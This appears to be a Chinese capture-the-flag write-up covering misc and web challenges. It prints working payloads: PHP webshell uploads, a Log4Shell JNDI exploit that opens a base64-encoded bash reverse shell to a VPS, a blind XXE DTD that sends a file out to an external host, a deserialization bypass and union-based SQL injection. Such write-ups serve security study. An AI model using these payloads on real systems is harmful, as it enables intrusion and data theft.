MISC

盗梦空间

image-20221218211914987

密钥:

1
PB5CMZCPGU7GSJKNJRDUQYJFMZJE24BSIR3TGI3TJ55FGQ2GERJGIWDAJBHTK2BVIFIDKNZ2LJKFKND2L5QX42B6HJJFA7LLLBHUE4S5MZTDYTRTLFAHUVBMFN5SWQLLLZRWQ6SHO5CTMXRYKV5FMLSCLEUWSWBQJI2VGOR4JE5UYUKQPRXTWJLUJB3TWVKZFM3F6WTRJYRFC432KVEC4ILYKRTTCQTFKBWTAYSNN5XTE2TKMBSHWNSFNQQVURCZO55G6OZUFNKSIOJRGA2EYYKOMJMXK3TYIB4UWZLRJ54GUTLWFJWEWTLKMR6TKJSHOUYWMKS7IUUWMMDXL5QUC2KJEQWE4R2VFJCQ====

这种适合用ciphey直接解

image-20221218183341822

Megumi

image-20221218223335354

一波检测操作下来无任何发现。通过题目描述,搜一下图

image-20221218223657591

搜索:不起眼女主角培育法 同人游戏社团

image-20221218223808155

得到社团Blessing Software。到这一步卡死。

后面给出了提示

1
2
3
Misc-Megumi

guess一下是什么隐写

那必然outguess试一下

image-20221218225038634

试了几次,key是全小写的社团名。

1
flag{Megumi-Kato}

WEB

ezphp1

image-20221218211601609

扫描目录得到index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
body {
background: pink url('bg.png') no-repeat;
background-size: cover;
}
</style>
</head>

<body >
<h1>我想有人一下子就猜出题是谁出的了。</h1>
</body>
</html>

<?php

$query = urldecode($_SERVER["QUERY_STRING"]);
if (strpos($query, '_') !== False) die("nonono");

if(isset($_GET['f_name'])){
$path = $_GET['f_name'];
$content = $_POST['f_content'];

if (preg_match('/(eval)|(assert)|(system)|(exec)|(shell_exec)|(popen)|(passthru)|(pcntl_exec)|(preg_replace)|(create_function)|(array_map)|(call_user_func)|(call_user_func_array)|(array_filter)|(uasort)/i', $content) !== 0)
die('nonono!');

if (strlen($content) > 22){
die('why are you so LONG?');
}
if (file_put_contents($path, $content)) die("ok");
}

?>

$_SERVER[“QUERY_STRING”]的绕过

参考http://t.zoukankan.com/tlbjiayou-p-12564440.html

_使用.或者+都可以绕过

1
2
GET:?f.name=shell.php
POST:f_content=<?=$_GET[1]($_GET[2]);

先在/tmp发现flag.sh

1
/shell.php?1=assert&2=print_r(scandir('/tmp'));

image-20221218130522016

接着show_source读取得到flag位置/usr/f1ag_here

最后读取flag即可

payload:

1
2
GET:?f.name=shell.php
POST:f_content=<?=$_GET[1]($_GET[2]);

image-20221218130432260

ezphp2

image-20221218211616693

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
if ($_GET['source'] == 1) {
  highlight_file(__FILE__);
  die();
}
$query urldecode($_SERVER["QUERY_STRING"]);

if (strpos($query'_') !== False)
  die("error");

if (isset($_GET['name_nnnn'])) {
  $name "Upld0d/" . $_GET['name_nnnn'];
  $text $_POST['file_c'];

  if (strlen($text) > 18)
    die("error");
  if (preg_match('/<\?ph.|flag/i'$text) !== 0)
    die("error");
  if (file_put_contents($name$text))
    die("ok");
}
?>

payload:

1
2
GET:/index.php?name.nnnn=shell.php
POST:file_c=<?=eval($_GET[0]);

/Upld0d/shell.php

1
/shell.php?0=phpinfo();

image-20221218115938274

http://59.110.213.14:51154/Upld0d/shell.php?0=show_source('/tmp/flag.sh');

1
2
3
#!/bin/bash

sed -i "s/flag_here/$1/" /flaaaaaag

得到flag位置

1
/Upld0d/shell.php?0=show_source('/flaaaaaag');

image-20221218130348473

图书馆

image-20221218211637237

CVE-2021-44228

先使用DNSLOG测一下http://www.dnslog.cn/

1
2
POST /api/loginCheck
id=999&passwd=${jndi:ldap://67xhrk.dnslog.cn}

image-20221218192630590

存在漏洞

在VPS上搭建一个ldap服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9WUFMvMjMzMyAwPiYx}|{base64,-d}|bash" -A 127.0.0.1

image-20221218193053982

再起一个终端监听

1
nc -lvnp 2333

image-20221218193329426

cat flag

image-20221218193405130

有来无回

image-20221218211649437

题目描述给了xxe.php

1
Can you use Blind XXE to build a OOB for the /tmp/flag.txt ?

提示需要OOB,外带数据,我习惯用VPS。

VPS本地文件evil.dtd

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://VPS/evil.php?xe=%file;'"
>
%all;

VPS文件evil.php

1
2
3
4
5
6
7
<?php
$content = $_GET['xe'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}

payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % remote SYSTEM "http://VPS/evil.dtd">
%remote;
%send;
]>

其实并没有外带成功,触发evil.php将flag读出,但是这里触发了evil.dtd,并且语句报错爆出了flag。

image-20221218194358705

反败为胜

image-20221218211704271

1
2
3
4
5
6
7
8
9
10
11
12
U2FsdGVkX19jYOTTVyrJhkVnOy4DucIvfuvRB3i8cJkHc0h3f1Hg5Dqsd+KeRgj6
BhlZeiD4FvK3YXfLuK0aKvseB8C7vKbuCrY9+AVyE736cnMNTRv93/9uxy7UEcwW
ywp1WaOGNcgygqvCOFOwLna0sWzo7QIAM9sm00gEKfYfC6M2H9HFGpJ0OPA/a9au
xjN5ICGqTWKVyc8BEM68MhEQlskEEnYu5H46009okCYfP4tZmbRtxIXid9VjCK0w
F8so7K25CoXG6Lbn7YbdqehYquo9ZHyuBLU8eItPQx99WvPb5FIMroAzMiqmCBzU
BbPuGOb0pAHZFE/zPh2gBJxV5JST/3qDCPFm++/LAZzjkuVd+z/oVP37oC1vn2x6
oYer8UZxhl1P2b/bDbpi51zuPYs3EsbDlCLLf5DMbjWH+d8lWUNicjYb4Rjqx6w8
s/8IDzFlu46cTawqu5iGHxDWRsWLxxucUCT0jxmEQmd8/AFPwGggk/dldoXSLCXG
gpRAYJITVJar1A3l4b54ZDjjB/mbh1OrqalKWeISNQEE


<!--RC40626-->

RC4解密得到

image-20221218123445091

http://www.jsons.cn/rc4encrypt/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo("ser.php: You find me!");
class ouo{
private $ser_code = "ser";
function __destruct(){
if(!empty($this->ser_code)) {
if($this->ser_code == "FLAG")
echo ("{flag}");
else
die('Try Again!');
}}
function __wakeup(){
$this->ser_code=null;
}
}
$ser_code = $_COOKIE['SER'];
unserialize($ser_code);
?>

exp:

1
2
3
4
5
6
7
8
9
<?php
class ouo{
private $ser_code = "FLAG";
}

$s=new ouo;
echo urlencode(serialize($s));
?>

CVE-2016-7124绕过wakeup

payload

1
O%3A3%3A%22ouo%22%3A1%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D{flag}

image-20221218123424361

sql

image-20221218211546614

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
include_once('db.inc.php');
include_once('common.php');

if (isset($_GET['id'])) {
    $data p(2,1,1);
    $id string::delHtml($data['id']);
    $id urldecode($id);

    $conn new mysqli(DB_HOST, DB_USER, DB_PWD, DB_NAME);
    if ($conn->connect_error) {
        die("连接失败: " . $conn->connect_error);
    }
    $sql "SELECT id, name, email FROM users where id = '$id' limit 1";

    $result $conn->query($sql);
    if ($result) {
        if ($result->num_rows > 0) {
            while ($row $result->fetch_assoc()) {
                echo "id: " . $row["id"] . "<br>Name: " . $row["name"] . "<br>" . $row["email"] . "<br>";
            }
        } else {
            echo "0 结果";
        }
    } else {
        echo ($conn->error);
    }

    $conn->close();
else {
    highlight_file(__FILE__);
}

参数->string::delHtml->urldecode

有一个urldecode,可能有用,尝试二重url编码单引号发现能引发报错

1
?id=1%2527

image-20221218210823599

直接输入单引号一点用处都没有,可能是经过string::delHtml的处理,但是urldecode函数在转义过程之后,所以可用双重url编码绕过。

剩下的就是普通的联合查询注入。

1
2
3
4
5
?id=0%2527%2Bunion%2Bselect%2B1%2C2%2C3%2523
?id=0%2527union%2Bselect%2B1%2C2%2Cdatabase()%2B%2523

sqlll
10.1.48-MariaDB-0+deb9u2

查表名

1
2
3
?id=0%2527union%2Bselect%2B1%2C2%2Cgroup_concat(table_name)from%2Binformation_schema.tables%2Bwhere%2Btable_schema%3Ddatabase()%2B%2523

is_this_flag,users

查列名

1
2
3
?id=0%2527union%2Bselect%2B1%2C2%2Cgroup_concat(column_name)from%2Binformation_schema.columns%2Bwhere%2Btable_name%3D%2527is_this_flag%2527%2B%2523

flag

查flag

1
?id=0%2527union%2Bselect%2B1%2C2%2Cgroup_concat(flag)from%2Bis_this_flag%2B%2523

image-20221218211459068

skip

image-20221218211726406

run.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
console.log(req.query)
req.query.proxy.includes("nginx")
? res.status(400).send("Access here directly, not via nginx :(")
: res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
console.log(`Server listening at ${PORT}`);
});

需要给proxy赋值,只要不为nginx就可以输出flag,只传proxy参数不行,必须有多个参数才能使req.query.proxy等于传入参数,但是单个参数又不够,所以又写了一脚本爆破,最终得到flag。

exp:

1
2
3
4
5
6
7
8
9
10
import requests
import time

for i in range(500,1000):
burp0_url = 'http://59.110.213.14:45319/?'+'x=1&'*i+'proxy=end';
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"}
s=requests.get(burp0_url, headers=burp0_headers)
if "flag" in s.text:
print(burp0_url)
print(s.text)

image-20221218205320815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